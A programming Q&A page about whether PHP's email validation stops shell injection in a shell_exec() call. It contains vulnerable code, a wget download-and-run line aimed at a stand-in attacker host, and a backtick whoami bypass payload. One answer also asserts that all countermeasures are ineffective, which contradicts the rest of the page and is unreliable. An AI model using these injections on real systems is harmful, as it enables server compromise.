Is FILTER_VALIDATE_EMAIL sufficient to stop shell injection?

2.5k views Asked by At

So I'm planning on using shell_exec() to handle running a php script that sends an email.

It's all working great, but I was just slightly concerned about the security implications of only using FILTER_VALIDATE_EMAIL to ensure injection can't occur.

So, for example, I will be using something simlilar to this:

$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo 'Nope ...';
} else {
    shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}

So, obviously without the validation, I could submit my email as something like:

'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '

and all hell could break loose ...

Is this 100% injection proof (That we know of) or is there something else I should add?

2

There are 2 answers

2
Ben Brock On

Is this 100% injection proof (That we know of) or is there something else I should add?

The same question was asked of databases here: Does FILTER_VALIDATE_EMAIL make a string safe for insertion in database?

If filter_var($var, FILTER_VALIDATE_EMAIL) isn't safe for databases, it's probably not safe enough for the command line.

If you did need to escape a string for use in the shell, use escapeshellarg() or escapeshellcmd() like in the answers to Filter var for calling a shellscript with system on php. Be sure to read the API docs for those on the PHP site.

But first, you should do some research on OWASP to learn about best practices for application security.

Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

You can avoid this problem altogether by writing the email to a temporary file, then instructing your sendemail application to read from the file (if it can).

Or, if it's available with your hosting configuration, you can use PHP's mail() method - see How to send an email using PHP?

Continue to be security minded, though. PHP's mail(): What are potential issues to watch out for?

0
Gumbo On

The FILTER_VALIDATE_EMAIL implementation is based on Michael Rushton’s Email Address Validation, which validates the input using the RFC 5321, i. e., the Mailbox production rule.

Those email addresses are more extensive than those that are used in practice. For example, RFC 5321 allows quoted strings in the Local-part like "…"@example.com.

This allows to inject arbitrary commands, for example:

"'`whoami`'"@example.com

This would end up in your shell command as:

/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &

The resulting sendmail parameter value would be the result of whoami quoted, like "markus"@example.com.

You see that FILTER_VALIDATE_EMAIL is simply not suited for validating shell arguments as it’s was not meant to be.

Use functions that are meant for escaping shell arguments instead like escapeshellarg for escaping single arguments or escapeshellcmd for arbitrary arguments.

Generally, you should avoid shell commands if you can achieve the same with built-in PHP features because even escapeshellarg is not free of bugs.